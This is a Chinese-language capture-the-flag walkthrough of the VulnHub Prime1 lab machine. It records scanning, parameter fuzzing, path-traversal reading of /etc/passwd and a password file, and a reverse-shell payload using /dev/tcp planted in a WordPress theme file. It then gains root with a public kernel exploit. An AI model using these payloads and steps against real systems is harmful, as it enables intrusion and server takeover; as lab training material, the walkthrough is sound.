[vulnhub]Prime1

https://www.vulnhub.com/entry/prime-1,358/

主机发现端口扫描

探测存活主机，137是靶机

nmap -sP 192.168.75.0/24 
//                       
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 16:25 CST
Nmap scan report for 192.168.75.1
Host is up (0.00028s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00026s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.137
Host is up (0.0010s latency).
MAC Address: 00:0C:29:69:EE:71 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00018s latency).
MAC Address: 00:50:56:F8:B3:1A (VMware)
Nmap scan report for 192.168.75.131
Host is up.

扫描靶机所有开放端口

nmap -sT -min-rate 10000 -p- 192.168.75.137        
//                   
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:54 CST
Nmap scan report for 192.168.75.137
Host is up (0.0014s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:69:EE:71 (VMware)

扫描服务版本及系统版本

nmap -sT -sV -O -p22,80 192.168.75.137           
//                     
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:57 CST
Nmap scan report for 192.168.75.137
Host is up (0.00045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:69:EE:71 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

udp扫描

nmap -sU 192.168.75.137  
//                       
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:57 CST
Nmap scan report for 192.168.75.137
Host is up (0.00073s latency).
Not shown: 997 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
631/udp  open|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 00:0C:29:69:EE:71 (VMware)

扫描漏洞

nmap -script=vuln -p 22,80, 192.168.75.137       
//
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /wordpress/: Blog
|_  /wordpress/wp-login.php: WordPress login page.
|_http-dombased-xss: Couldn't find any DOM based XSS.
MAC Address: 00:0C:29:69:EE:71 (VMware)

扫描出 slowloris DOS用不上，以及cve2017-1001000 ，并且扫出存在wordpress 版本是4.7.2的，因为能扫描出cve2017-1001000

Nikto漏洞扫描

nikto -host 192.168.75.137 -port 22,80
//
- Nikto v2.5.0
---------------------------------------------------------------------------
---------------------------------------------------------------------------
+ Target IP:          192.168.75.137
+ Target Hostname:    192.168.75.137
+ Target Port:        80
+ Start Time:         2024-09-22 18:44:45 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozill.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render th content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/wb-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is th EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/                                                                           
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.                                                
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.           
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.       
+ /wordpress/: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/                          
+ /wordpress/: A WordPress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-content/uploads/: WordPress uploads directory is browsable. This may reveal sensitive information.
+ /wordpress/wp-login.php: WordPress login found.
+ 8106 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2024-09-22 18:45:09 (GMT8) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

web渗透

爆破目录，192.168.75.137

[18:49:23] 200 -  131B  - /dev
[18:49:25] 200 -  137B  - /image.php
[18:49:26] 301 -  321B  - /javascript  ->  http://192.168.75.137/javascript/
[18:49:32] 403 -  279B  - /server-status/
[18:49:32] 403 -  279B  - /server-status
[18:49:36] 200 -    1KB - /wordpress/wp-login.php
[18:49:36] 200 -    4KB - /wordpress/

查看/dev ，因为它不是一个正常该有的目录

hello,

now you are at level 0 stage.

In real life pentesting we should use our tools to dig on a web very hard.

Happy hacking.

意思是让我们更努力的去爆破目录？

python .dirsearch.py -u http://192.168.75.137/ --suffixes .txt,.zip 给字典加上.txt,.zip 后缀去爆破

http://192.168.75.137/secret.txt

查看内容得出

Looks like you have got some secrets.

Ok I just want to do some help to you. 

Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck 
Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

//see the location.txt and you will get your next move//

让我们进行fuzz爆破，大概意思是让我们在所有php文件进行fuzz ，大概就是让我们fuzz出get参数

扫描出所有php文件

irb http://192.168.75.137 -X .php               

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Sep 22 20:12:05 2024
URL_BASE: http://192.168.75.137/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.75.137/ ----
+ http://192.168.75.137/image.php (CODE:200|SIZE:147)                                                                                      
+ http://192.168.75.137/index.php (CODE:200|SIZE:136)                                                                                      
                                                                                                                                           
-----------------
END_TIME: Sun Sep 22 20:12:08 2024
DOWNLOADED: 4612 - FOUND: 2

当前目录下只有两个php文件我们两个都试试

对index.php进行fuzz

注意 --hh 136 需要对视情况进行调整，过滤掉其他结果后，最后得出file这个参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.75.137/index.php?FUZZ=something
//hh 过滤掉了 字长为136的数据
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.75.137/index.php?FUZZ=something
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload                       
=====================================================================

000000341:   200        7 L      19 W       206 Ch      "file"                        

Total time: 1.060608
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 896.6547

访问http://192.168.75.137/index.php?file=
```
提示：Do something better you are digging wrong file
```
可能file的参数也需要我们进行fuzz，其实这事burp也可以做

但是之前的secret.txt还有一句 : //see the location.txt and you will get your next move//

所以我们访问：http://192.168.75.137/index.php?file=location.txt

果然存在有信息
```
Now dig some more for next one
use 'secrettier360' parameter on some other php page for more fun. 
```
让我们使用secrettier360 参数去别的php页面fuzz ，大概是

别的php页面除了index.php那就是image.php

对image.php 进行fuzz

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 197 http://192.168.75.137/image.php?secrettier360=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.75.137/image.php?secrettier360=FUZZ
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload                       
=====================================================================

000000257:   200        13 L     43 W       328 Ch      "dev"                         

Total time: 1.031432
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 922.0189

得出参数dev ，尝试访问：http://192.168.75.137/image.php?secrettier360=dev

finaly you got the right parameter

hello, now you are at level 0 stage. In real life pentesting we should use our tools to dig on a web very hard. Happy hacking.

WTF？这不是之前的/dev吗，但是发现你只要在secrettier360 加上文件名，那不就是文件包含了吗?我这里大发奇想使用php伪协议尝试，但是发现使用不了，应该是禁用了

利用文件包含漏洞

尝试读取/etc/passwd

http://192.168.75.137/image.php?secrettier360=../../../etc/passwd
//
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false 
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false 
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false 
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false 
syslog:x:104:108::/home/syslog:/bin/false 
_apt:x:105:65534::/nonexistent:/bin/false 
messagebus:x:106:110::/var/run/dbus:/bin/false 
uuidd:x:107:111::/run/uuidd:/bin/false 
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false 
whoopsie:x:109:117::/nonexistent:/bin/false 
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false 
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false 
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false 
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false 
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false 
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false 
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false 
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false 
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false 
saned:x:119:127::/var/lib/saned:/bin/false 
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false 
victor:x:1000:1000:victor,,,:/home/victor:/bin/bash 
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false 
saket:x:1001:1001:find password.txt file in my directory:/home/saket: 
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin

发现saket:x:1001:1001:find password.txt file in my directory:/home/saket: ，好好好

http://192.168.75.137/image.php?secrettier360=../../../home/saket/password.txt
//
finaly you got the right parameter

follow_the_ippsec

密码应该是follow_the_ippsec

登录wordpress后台，用户名victor，密码follow_the_ippsec

为什么用户名是victor ，因为wordpress/index.php里面第一条信息就是victor 发布的，所以猜测用户名是victor ，成功进入后台

后台利用获得初级shell

进入后台，plugins → Add New → upload plugins ,上传反弹shell文件

发现没有上传权限，即使设置关闭了以月份创建文件夹
寻找别的地方上传shellcode

在Appearance→Theme Editor →secret.php 找到了可编辑保存的文件

我们将shellcode输进去
```
& /dev/tcp/192.168.75.131/1234 0>&1'");?>
```
然后save

kali开启监听，并且访问

http://192.168.75.137/wordpress/wp-content/themes/twentynineteen/secret.php

nc -lvp 1234                          
listening on [any] 1234 ...
192.168.75.137: inverse host lookup failed: Unknown host
connect to [192.168.75.131] from (UNKNOWN) [192.168.75.137] 42312
bash: cannot set terminal process group (48712): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$

获得初级shell

提权

查看权限

www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ sudo -l                    
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /home/saket/enc
//
www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ uname -a              
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

www-data 用户被授予了在 Ubuntu 系统上以 root 权限运行 /home/saket/enc 命令，而无需输入密码

/home/saket/enc：这是一个具体的可执行文件或脚本的路径，www-data 用户可以以 root 身份执行它

但是enc发现执行时还是需要输入密码，尝试利用别的

尝试内核漏洞

searchsploit linux kernel 4.10.0-28 | grep 'Local Privilege'
Linux Kernel (Solaris 10 /

尝试最后一个 45010.c 然后把45010.c传到靶机，编译运行,记得给执行权限

gcc 45010.c -o 45010
chmod u+x 45010
./45010

www-data@ubuntu:/tmp$ ./45010
//
uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
//
whoami 
root

提权成功，读取flag文件

python -c "import pty;pty.spawn('/bin/bash')"    
//
root@ubuntu:/tmp# cd /root
root@ubuntu:/root# ls
enc  enc.cpp  enc.txt  key.txt  root.txt  sql.py  t.sh  wfuzz  wordpress.sql
//
root@ubuntu:/root# cat key.txt

I know you are the fan of ippsec.

So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.

千百度

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